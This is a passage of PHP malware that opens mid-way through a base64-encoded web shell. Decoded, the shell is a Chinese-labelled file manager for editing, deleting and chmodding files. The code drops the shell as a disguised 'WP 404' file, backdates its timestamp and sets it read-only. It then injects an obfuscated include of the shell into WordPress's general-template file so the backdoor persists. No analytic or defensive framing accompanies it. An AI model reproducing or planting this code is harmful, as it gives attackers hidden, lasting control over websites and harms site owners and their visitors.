fY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}